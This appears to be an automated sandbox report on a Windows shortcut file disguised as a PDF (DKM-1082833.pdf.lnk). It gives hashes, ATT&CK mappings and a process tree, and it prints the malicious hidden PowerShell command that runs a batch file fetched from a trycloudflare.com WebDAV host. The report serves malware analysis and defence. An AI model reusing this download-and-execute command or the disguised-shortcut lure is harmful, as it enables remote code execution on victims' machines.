3f64fc7def34bfe9b96fdbb1a9aaaa3cba6955bf96c361c884c69be7c7c2cd4e

Analysis

max time kernel
95s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
10-10-2024 13:51

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General

Target

DKM-1082833.pdf.lnk
Size

2KB
MD5

1369ab003d0c183c021ebd888a7a9fef
SHA1

7aaeb01906a77d9a97a0285919a062703331a79e
SHA256

3f64fc7def34bfe9b96fdbb1a9aaaa3cba6955bf96c361c884c69be7c7c2cd4e
SHA512

ab1b3384885c7f0230d8f01dcc16ae25725d69743b44eb6d1c3a23a3d69cca9579e75529283669d4a29caf1ae577047c71e3e1ca527eb64c3a5dfe560ad67f60

Score

6^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2572	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2572	powershell.exe
2572	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2572	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2256 wrote to memory of 2572	2256	cmd.exe	86
PID 2256 wrote to memory of 2572	2256	cmd.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DKM-1082833.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -c "iex '& \\llp-cleaners-brands-hl.trycloudflare.com@SSL\DavWWWRoot\tut.bat'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zuml0aip.0jm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2572-2-0x00007FFEA9B63000-0x00007FFEA9B65000-memory.dmp

Filesize
8KB

Download
memory/2572-3-0x0000020FF0360000-0x0000020FF0382000-memory.dmp

Filesize
136KB

Download
memory/2572-13-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp

Filesize
10.8MB

Download
memory/2572-14-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp

Filesize
10.8MB

Download
memory/2572-17-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp

Filesize
10.8MB

Download
memory/2572-18-0x0000020FF04E0000-0x0000020FF06FC000-memory.dmp

Filesize
2.1MB

Download
memory/2572-19-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp

Filesize
10.8MB

Download